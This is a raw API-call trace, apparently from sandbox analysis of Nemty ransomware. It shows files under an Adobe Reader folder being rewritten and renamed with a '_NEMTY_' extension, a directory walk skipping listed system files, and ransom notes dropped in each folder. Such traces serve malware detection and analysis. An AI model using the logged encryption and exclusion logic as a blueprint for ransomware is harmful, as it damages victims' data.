[0187.844] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x15c70, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x15c70, lpOverlapped=0x0) returned 1 [0187.867] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.867] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x15c70, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x15c70, lpOverlapped=0x0) returned 1 [0187.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.867] SetFilePointer (in: hFile=0x320, lDistanceToMove=89210, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15c7a [0187.867] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.867] CloseHandle (hObject=0x320) returned 1 [0187.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0187.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0187.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0187.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0187.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0187.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0187.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0187.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0187.870] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0187.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0187.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0187.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0187.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.871] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2379fdd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2379fdd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2379fdd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0187.871] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0187.872] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0187.872] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0187.872] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0187.872] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0187.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0187.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0187.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0187.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0187.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.872] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2379fdd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2379fdd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2379fdd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0187.873] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0187.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0187.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0187.873] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DAN", cAlternateFileName="")) returned 1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2=".") returned 1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="..") returned 1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="...") returned 1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="windows") returned -1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="$RECYCLE.BIN") returned 1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="rsa") returned -1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="NTDETECT.COM") returned -1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="ntldr") returned -1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="MSDOS.SYS") returned -1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="IO.SYS") returned -1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="boot.ini") returned 1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="boot.ini") returned 1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="AUTOEXEC.BAT") returned 1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="ntuser.dat") returned -1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="desktop.ini") returned -1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="CONFIG.SYS") returned 1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="RECYCLER") returned -1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="BOOTSECT.BAK") returned 1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="bootmgr") returned 1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="programdata") returned -1 [0187.873] lstrcmpiW (lpString1="DAN", lpString2="appdata") returned 1 [0187.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DAN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DAN", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAN", lpUsedDefaultChar=0x0) returned 3 [0187.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DAN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DAN", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAN", lpUsedDefaultChar=0x0) returned 3 [0187.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0187.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0187.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0187.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0187.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0187.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0187.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0187.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0187.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0187.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0187.876] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.876] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0187.877] CloseHandle (hObject=0x2f0) returned 1 [0187.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0187.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0187.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0187.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0187.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0187.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.877] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0187.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.878] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.878] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0187.879] CloseHandle (hObject=0x2f0) returned 1 [0187.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0187.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0187.879] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x23a013d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23a013d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0187.879] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0187.879] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x23a013d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23a013d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0187.879] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0187.879] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0187.879] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6d5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0187.879] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0187.879] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0187.879] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0187.880] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0187.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.880] 